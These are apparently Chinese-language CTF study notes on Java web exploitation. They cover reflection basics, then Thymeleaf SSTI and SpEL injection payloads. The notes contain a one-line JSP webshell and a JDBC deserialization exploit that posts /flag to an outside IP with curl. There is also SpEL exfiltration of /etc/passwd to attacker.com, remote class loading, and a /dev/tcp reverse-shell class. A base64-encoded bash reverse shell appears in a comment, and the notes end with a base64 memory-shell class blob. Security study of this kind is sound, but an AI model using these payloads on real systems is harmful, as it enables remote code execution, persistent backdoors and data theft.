Java

java 特性

反射

反射存在的价值:在编译时不确定类型的情况下执行方法调用 & 调用或设置私有属性/方法。

获取 Class 对象

类获取 Class 对象
1
Class<String> stringClass = String.class;
对象获取 Class 对象
1
2
String str = "Hello";
Class<? extends String> stringClass = str.getClass();
全名获取 Class 对象
1
2
3
4
5
try {
Class<?> stringClass = Class.forName("java.lang.String");
} catch (ClassNotFoundException e) {
e.printStackTrace();
}

Class 对象利用

如果只需要获取特定的,可以用不带 s 的方法,java 会自动匹配方法名对应/参数形式对应的方法或构造函数。

获取构造函数
1
2
3
4
5
6
7
8
9
10
import java.lang.reflect.Constructor;
public class Test {
public static void main(String[] args) {
Class<?> c = String.class;
Constructor<?>[] constructors = c.getConstructors();//getDeclaredConstructors
for (Constructor<?> constructor : constructors) {
System.out.println(constructor.getName());
}
}
}
获取方法
1
2
3
4
5
6
7
8
9
10
import java.lang.reflect.Method;
public class Test {
public static void main(String[] args) {
Class<?> c = String.class;
Method[] methods = c.getMethods();//getDeclaredMethods
for (Method method : methods) {
System.out.println(method.getName());
}
}
}
获取属性
1
2
3
4
5
6
7
8
9
10
import java.lang.reflect.Field;
public class Test {
public static void main(String[] args) {
Class<?> c = String.class;
Field[] fields = c.getFields();//getDeclaredFields
for (Field field : fields) {
System.out.println(field.getName());
}
}
}

后续利用

实例化对象
1
Object instance = constructor.newInstance("example");
调用对象方法

如果对象方法是 static (不依赖于实例的),instance 参数可以传 null。

1
Object result = method.invoke(instance, "arg1", 123);
获取设置属性值
1
2
Object value = field.get(instance);
field.set(instance, "new value");

例子

java.lang.Runtime
exp1
1
2
3
Class clazz = Class.forName("java.lang.Runtime");//获取 Class 对象
Object runTime = clazz.getMethod("getRuntime").invoke(null);//由于,java.lang.Runtime的构造方法是私有的,通过获取并调用 getRuntime 方法得到 RunTime 对象,
clazz.getMethod("exec", String.class).invoke(runTime, "calc");//调用 class 对象的 exec 方法,传入 runTime。
exp2
1
2
3
4
Class clazz = Class.forName("java.lang.Runtime");
Constructor constructor = clazz.getDeclaredConstructor();
constructor.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(constructor.newInstance(), "calc");
java.lang.ProcessBuilder
exp1
1
2
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc")));
exp2
1
2
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc"}}));//二维数组,阻止解包当成多参数

代理

为其他对象提供一种代理以控制对这个对象的访问,简单说,就是不直接调用目标对象,而是通过一个代理对象来间接调用。

静态代理

  • 代理关系在编译期就确定了

  • 需要为每一个被代理的类单独编写一个代理类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// 1. 接口
interface UserService {
void save();
}

// 2. 真实对象
class UserServiceImpl implements UserService {
public void save() {
System.out.println("保存用户");
}
}

// 3. 静态代理类(手动编写)
class UserServiceProxy implements UserService {
private UserService target; // 被代理对象

public UserServiceProxy(UserService target) {
this.target = target;
}

public void save() {
System.out.println("前置处理");
target.save(); // 调用真实对象的方法
System.out.println("后置处理");
}
}

// 4. 使用
public class Test {
public static void main(String[] args) {
UserService realService = new UserServiceImpl();
UserService proxy = new UserServiceProxy(realService);
proxy.save();
}
}

动态代理

动态代理能通过动态创建代理类,允许我们进行一些在不修改代码的前提下,对目标类(继承于接口)进行(修改后)调用。

  • 在运行时动态生成代理类的字节码
  • 代理关系在运行时才确定
  • 一个代理处理器可以代理多个(写一个接口继承于 InvocationHandler,通过用 Proxy 类实例化不同的动态代理)。
Proxy

用于创建代理类的工厂类,提供了 newProxyInstance 方法来生成动态代理对象。

1
2
3
4
5
public class Proxy {
public static Object newProxyInstance(ClassLoader loader,
Class<?>[] interfaces,
InvocationHandler h)
}
InvocationHandler 接口
1
2
3
public interface InvocationHandler {
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable;
}
例子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

interface BusinessInterface {
void doSomething();
}//接口 BusinessInterface

class RealBusiness implements BusinessInterface {
@Override
public void doSomething() {
System.out.println("Real business logic is executed.");
}
}//具体的类重写了接口

class CustomInvocationHandler implements InvocationHandler {
private Object target;

public CustomInvocationHandler(Object target) {
this.target = target;
}

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("Before executing method " + method.getName());

Object result = method.invoke(target, args);

System.out.println("After executing method " + method.getName());

return result;
}//通过代理类,来调用接口的方法
}

public class DynamicProxyExample {
public static void main(String[] args) {
BusinessInterface realObject = new RealBusiness();//实例化一个类

CustomInvocationHandler handler = new CustomInvocationHandler(realObject);//用类进行实例化

BusinessInterface proxyObject = (BusinessInterface) Proxy.newProxyInstance(
realObject.getClass().getClassLoader(),//代理类的 classLoader
realObject.getClass().getInterfaces(),//代理类的接口列表
handler);//动态代理在调用接口方法的时候,会关联到哪一个具体 InvocationHandler 上

proxyObject.doSomething();
}
}

实际上调用的 proxyObject.doSomething => handler.invoke(重写+调用)

super/this

一个子类 super 会调用父类的构造方法。

this 会依据参数自动调自己类的构造方法。

如果 super & this 必须出现一个且唯一(任何类都继承于 Object ),如果没有的话编译器自动会加入无参的 super

javassist

动态创建一个 class 字节码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package com.example.demo;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtField;
import javassist.CtMethod;
import org.apache.commons.io.FileUtils;

import java.io.File;

public class Transform {
public static void main(String[] args) {
ClassPool classPool = ClassPool.getDefault();
// 使用ClassPool创建一个类
CtClass ctClass = classPool.makeClass("com.ctf.ssist.JavassistHelloWorld");

try {
// 创建字段
CtField ctField = CtField.make("private static String content = \"yiyandingzhen\";", ctClass);
ctClass.addField(ctField);

// 创建方法
CtMethod ctMethod = CtMethod.make("public static void main(String[] args) { System.out.println(content); }", ctClass);
ctClass.addMethod(ctMethod);

// 确保目录存在
File outputDir = new File(System.getProperty("user.dir"), "src/main/java/com/ctf/ssist/");
if (!outputDir.exists()) {
outputDir.mkdirs();
}

File classFilePath = new File(outputDir, "JavassistHelloWorld.class");
byte[] bytes = ctClass.toBytecode();
FileUtils.writeByteArrayToFile(classFilePath, bytes);

System.out.println("类文件生成成功: " + classFilePath.getAbsolutePath());

} catch (Exception e) {
e.printStackTrace();
}
}
}

一句话 jsp 木马

1
<% if("zzz".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
1
http://目标网站/shell.jsp?pwd=zzz&i=whoami

Thymeleaf

控制视图名

漏洞代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.just.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestParam;
import java.io.IOException;

@Controller
public class DemoController {
@GetMapping("/demo1")
public String demo1(@RequestParam String data) throws IOException {
System.out.println(data);
return data;
}
@GetMapping("/demo2/{data}")
public String demo2(@PathVariable String data) {
System.out.println(data);
return data;
}
}

形式:

1
__SpEL表达式__::

3.0.11版本及之前

1
2
/demo1?data=__$%7BT(java.lang.Runtime).getRuntime().exec("calc")%7D__::
/demo2/__$%7BT(java.lang.Runtime).getRuntime().exec("calc")%7D__::

3.0.12

1
2
3
4
5
6
7
8
9
10
@GetMapping("/demo3")
public String demo3(@RequestParam String data) {
System.out.println(data);
return "demo3/" + data;
}
@GetMapping("/demo4/{data}")
public String demo4(@PathVariable String data) {
System.out.println(data);
return "demo4/" + data;
}

payload:

1
2
3
4
/demo3?data=__$%7BT%20(java.lang.Runtime).getRuntime().exec("calc")%7D__::
/demo4/;/__$%7BT%20(java.lang.Runtime).getRuntime().exec("calc")%7D__::
/demo4;/__$%7BT%20(java.lang.Runtime).getRuntime().exec("calc")%7D__::
/demo4//__$%7BT%20(java.lang.Runtime).getRuntime().exec("calc")%7D__::

SSTI

Thymeleaf SSTI模板注入分析

Description:

1
2
3
4
5
6
7
8
@GetMapping("/")
public String Welcome(String type) throws UnsupportedEncodingException {
System.out.println(type);
if(!type.equals("")) {
return "hello/"+type+"/challenge";
}
return "index";
}

payload:

1
2
3
4
5
__${T%20(java.lang.Runtime).getRuntime().exec(%22calc%22)}__::.x
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x
__${T(java.lang.Thread).sleep(10000)}__::...
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::...
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x

.HTMl

1
2
3
4
5
6
7
<html><body><p th:text="${@environment.getSystemEnvironment()}"></p></body></html>



<span th:text="${''.class.forName('java.util.Arrays').toString(''.class.forName('java.nio.file.Files').list(''.class.forName('java.nio.file.Path').of('/')).toArray())}"></span>

<span th:text="${''.class.forName('java.nio.file.Files').readString(''.class.forName('java.nio.file.Path').of('/fl'.concat('ag_y0u_d0nt_kn0w')))}"></span>

JDBC

反序列化

JDBC反序列化 - 卡拉梅尔 - 博客园

工具:

4ra1n/mysql-fake-server: 纯 Java 实现的 MySQL Fake Server | 支持 GUI 版和命令行版 | 支持反序列化和文件读取的利用方式 | 支持常见的 GADGET 和自定义 GADGET 数据 | 根据目标环境自动生成匹配的 PAYLOAD | 支持 PGSQL 和 DERBY 的利用

cc链的话选择工具中 cc31 这一条链。

exp:

1
2
3
4
5
6
7
java -jar fake-mysql-cli-0.0.4.jar

jdbc:mysql://123.57.107.33:3308/mysql?queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

deser_CC31_curl http://123.57.107.33:1337/ -F xx=@/flag -X POST

http://019a91e6-fff7-784a-8389-d4acc613a332.geek.ctfplus.cn/connect?url=jdbc%3Amysql%3A%2F%2F123.57.107.33%3A3308%2Fmysql%3FqueryInterceptors%3Dcom.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26autoDeserialize%3Dtrue&name=base64ZGVzZXJfQ0MzMV9jdXJsIGh0dHA6Ly8xMjMuNTcuMTA3LjMzOjEzMzcvIC1GIHh4PUAvZmxhZyAtWCBQT1NU&pass=1

image-20251117212756900

SPEL 注入

SPEL注入总结&&回显技术

Spring表达式语言(Spring Expression Language,简称SpEL)是一种功能强大的表达式语言,它可以用于在Spring配置中动态地访问和操作对象属性、调用方法、执行计算等,SPEL的设计目标是让Spring应用程序中的bean配置和运行时操作更加灵活和可扩展,其语法和OGNL、MVEL等表达式语法类似。

SPEL 语法

spel语法中的 T() 操作符 , T() 操作符会返回一个 object , 它可以帮助我们获取某个类的静态方法 , 用法 T(全限定类名).方法名()

spel中的 # 操作符可以用于标记对象

使用 #variable 来引用在EvaluationContext定义的变量。

除了可以引用自定义变量,还可以使用 #root 引用根对象,#this 引用当前上下文对象,此处 #this 即根对象。

SPEL 例子

image-20251109173753733

20行解析 SPEL 表达式,22行执行。

payload

ProcessBuilder

1
new java.lang.ProcessBuilder(new String[]{"calc"}).start()

RunTime

1
2
3
4
5
6
7
8
9
10
11
12
T(java.lang.System).getenv()
T(java.lang.Runtime).getRuntime.exec('calc');

//必须带 return 的回显
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()//读回显,需要 return exp.getValue().toString();
new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asdasdasdasd").next()//给一个不可能出现的分隔符,然后一直读到最后

//必须带 response 的回显
// StandardEvaluationContext context=new StandardEvaluationContext();
// context.setVariable("response",response);

payload=#response.addHeader('x-cmd',new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine())

ScriptEngine

1
2
3
4
new javax.script.ScriptEngineManager().getEngineByName('nashorn').eval('s=[1];s[0]=\'calc\';java.lang.Runtime.getRuntime().exec(s);')

new javax.script.ScriptEngineManager().getEngineByName('javascript').eval("s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);"")
//T指令只能解析 静态方法,而 getEngineByName 不是 static。

URL 外带

1
2
3
4
5
6
7
8
9
10
11
12
13
new java.net.URL("http://attacker.com/steal?data=" + 
java.net.URLEncoder.encode(new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get("/etc/passwd"))))
).openConnection().getInputStream()


T(java.net.http.HttpClient).newHttpClient().send(
T(java.net.http.HttpRequest).newBuilder()
.uri(T(java.net.URI).create("http://attacker.com/steal"))
.header("Content-Type", "text/plain")
.POST(T(java.net.http.HttpRequest.BodyPublishers).ofString(new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get("/etc/passwd")))))
.build(),
T(java.net.http.HttpResponse.BodyHandlers).discarding()
)//要求 Java 版本 >= 11

本地 AppClassLoader 加载

1
T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')

远程类加载

1
2
3
4
5
6
7
8
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://123.57.107.33:8888/')})
.loadClass("evil")
.getConstructors()[0]
.newInstance()
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')})
.loadClass("evil")
.newInstance()
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:8999/Exp.jar")}).loadClass("Exp").getConstructors()[0].newInstance("127.0.0.1:2333")

exp.jar

1
2
3
4
5
6
7
8
9
10
11
public class Exp{
public Exp(String address){
address = address.replace(":","/");
ProcessBuilder p = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/"+address+";cat <&5 | while read line; do $line 2>&5 >&5; done");
try {
p.start();
} catch (IOException e) {
e.printStackTrace();
}
}
}

evil.class

1
2
3
4
5
6
7
8
9
public class evil {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {}
}

public evil() {}
}

evil.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class evil extends AbstractTranslet {
static {
try {
//Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE2LjExOS4yNTMvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}");
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

public static void main(String[] args) {
}

@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}

内存马

传值:

1
2
3
4
T(org.springframework.cglib.core.ReflectUtils).defineClass('com.example.demo.InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString('qwqqwq'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()//类名动态调整


yv66vgAAADQBAQoAOwCLCABWCwCMAI0IAI4LAI8AkAsAjwCRCACSCACTCgCUAJUKAA4AlggAlwoADgCYBwCZBwCaCACbCACcCgANAJ0IAJ4IAJ8HAKAKAA0AoQoAogCjCgAUAKQIAKUKABQApgoAFACnCgAUAKgKABQAqQoAqgCrCgCqAKwKAKoAqQcArQoAIACuCwA8AK8LADwAsAkAlACxCACyCgCzAKsKALQAtQgAtgsAtwC4BwC5BwC6CwAqALsHALwIAL0KAL4AvwcAwAoAMACuCgDBAMIKAMEAwwcAxAcAxQoANQCuBwDGCgA3AIsLADQAxwgAyAcAyQcAygEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAjTGNvbS9leGFtcGxlL2RlbW8vSW5jZXB0b3JNZW1TaGVsbDsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQAHYnVpbGRlcgEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQALcHJpbnRXcml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAFvAQASTGphdmEvbGFuZy9TdHJpbmc7AQABYwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAANjbWQBAA1TdGFja01hcFRhYmxlBwDGBwDLBwDMBwDNBwCaBwDOBwCZBwCgBwCtAQAKRXhjZXB0aW9ucwEAEE1ldGhvZFBhcmFtZXRlcnMBAApwb3N0SGFuZGxlAQCSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9Nb2RlbEFuZFZpZXc7KVYBAAxtb2RlbEFuZFZpZXcBAC5Mb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9Nb2RlbEFuZFZpZXc7AQAPYWZ0ZXJDb21wbGV0aW9uAQB5KExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL0V4Y2VwdGlvbjspVgEAAmV4AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAzwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAIExqYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb247AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwEAB2NvbnRleHQBADdMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQ7AQAVbWFwcGluZ0hhbmRsZXJNYXBwaW5nAQBUTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmc7AQAFZmllbGQBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQARYWRhcHRJbnRlcmNlcHRvcnMBABBMamF2YS91dGlsL0xpc3Q7AQAPZXZpbEludGVyY2VwdG9yAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEARkxqYXZhL3V0aWwvTGlzdDxMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9IYW5kbGVySW50ZXJjZXB0b3I7PjsHALkHALoHANAHAMAHAMQHAMUBAApTb3VyY2VGaWxlAQAVSW5jZXB0b3JNZW1TaGVsbC5qYXZhDAA9AD4HAMsMANEA0gEAA2diawcAzAwA0wDUDADVANYBAAABAAdvcy5uYW1lBwDXDADYANIMANkA2gEAA3dpbgwA2wDcAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwAPQDdAQAJL2Jpbi9iYXNoAQACLWMBABFqYXZhL3V0aWwvU2Nhbm5lcgwA3gDfBwDgDADhAOIMAD0A4wEADXdvY2Fvc2luaWRlbWEMAOQA5QwA5gDnDADoANoMAOkAPgcAzgwA6gDUDADrAD4BABNqYXZhL2xhbmcvRXhjZXB0aW9uDADsAD4MAGMAZAwAZwBoDADtAO4BAAZzdGFhcnQHAO8HAPAMAPEA8gEAOW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLnNlcnZsZXQuRGlzcGF0Y2hlclNlcnZsZXQuQ09OVEVYVAcA8wwA9AD1AQA1b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQBAFJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nDAD2APcBAD5vcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvQWJzdHJhY3RIYW5kbGVyTWFwcGluZwEAE2FkYXB0ZWRJbnRlcmNlcHRvcnMHAPgMAPkA+gEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcA0AwA+wD8DAD9AP4BAA5qYXZhL3V0aWwvTGlzdAEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uAQAhY29tL2V4YW1wbGUvZGVtby9JbmNlcHRvck1lbVNoZWxsDAD/AQABAAJvawEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L0hhbmRsZXJJbnRlcmNlcHRvcgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2lvL1ByaW50V3JpdGVyAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFHNldENoYXJhY3RlckVuY29kaW5nAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBACooTGphdmEvaW8vSW5wdXRTdHJlYW07TGphdmEvbGFuZy9TdHJpbmc7KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEABWNsb3NlAQAHcHJpbnRsbgEABWZsdXNoAQAPcHJpbnRTdGFja1RyYWNlAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAGGN1cnJlbnRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsBADlvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXMBAAxnZXRBdHRyaWJ1dGUBACcoTGphdmEvbGFuZy9TdHJpbmc7SSlMamF2YS9sYW5nL09iamVjdDsBAAdnZXRCZWFuAQAlKExqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD2phdmEvbGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQADYWRkAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaACEANwA7AAEAPAAAAAcAAQA9AD4AAQA/AAAALwABAAEAAAAFKrcAAbEAAAACAEAAAAAGAAEAAAAUAEEAAAAMAAEAAAAFAEIAQwAAAAEARABFAAMAPwAAAgUABgAJAAAAvisSArkAAwIAOgQZBMYAsCwSBLkABQIALLkABgEAOgUSBzoHEgi4AAm2AAoSC7YADJkAIrsADVkGvQAOWQMSD1NZBBIQU1kFGQRTtwAROganAB+7AA1ZBr0ADlkDEhJTWQQSE1NZBRkEU7cAEToGuwAUWRkGtgAVtgAWEgS3ABcSGLYAGToIGQi2ABqZAAsZCLYAG6cABRkHOgcZCLYAHBkFGQe2AB0ZBbYAHhkFtgAfpwAKOgUZBbYAIQOsBKwAAQAPALAAswAgAAMAQAAAAE4AEwAAAC4ACgAvAA8AMQAXADIAHwA0ACMANQAzADYAUgA4AG4AOgCGADsAmgA8AJ8APQCmAD4AqwA/ALAAQgCzAEAAtQBBALoAQwC8AEUAQQAAAHAACwBPAAMARgBHAAYAHwCRAEgASQAFAG4AQgBGAEcABgAjAI0ASgBLAAcAhgAqAEwATQAIALUABQBOAE8ABQAAAL4AQgBDAAAAAAC+AFAAUQABAAAAvgBSAFMAAgAAAL4AVABVAAMACgC0AFYASwAEAFcAAABjAAf/AFIACAcAWAcAWQcAWgcAWwcAXAcAXQAHAFwAAP8AGwAIBwBYBwBZBwBaBwBbBwBcBwBdBwBeBwBcAAD8ACcHAF9BBwBc/wAaAAUHAFgHAFkHAFoHAFsHAFwAAQcAYAYBAGEAAAAEAAEAIABiAAAADQMAUAAAAFIAAABUAAAAAQBjAGQAAwA/AAAAYAAFAAUAAAAKKissLRkEtwAisQAAAAIAQAAAAAoAAgAAAEoACQBLAEEAAAA0AAUAAAAKAEIAQwAAAAAACgBQAFEAAQAAAAoAUgBTAAIAAAAKAFQAVQADAAAACgBlAGYABABhAAAABAABACAAYgAAABEEAFAAAABSAAAAVAAAAGUAAAABAGcAaAADAD8AAABgAAUABQAAAAoqKywtGQS3ACOxAAAAAgBAAAAACgACAAAATwAJAFAAQQAAADQABQAAAAoAQgBDAAAAAAAKAFAAUQABAAAACgBSAFMAAgAAAAoAVABVAAMAAAAKAGkATwAEAGEAAAAEAAEAIABiAAAAEQQAUAAAAFIAAABUAAAAaQAAAAEAagBrAAMAPwAAAD8AAAADAAAAAbEAAAACAEAAAAAGAAE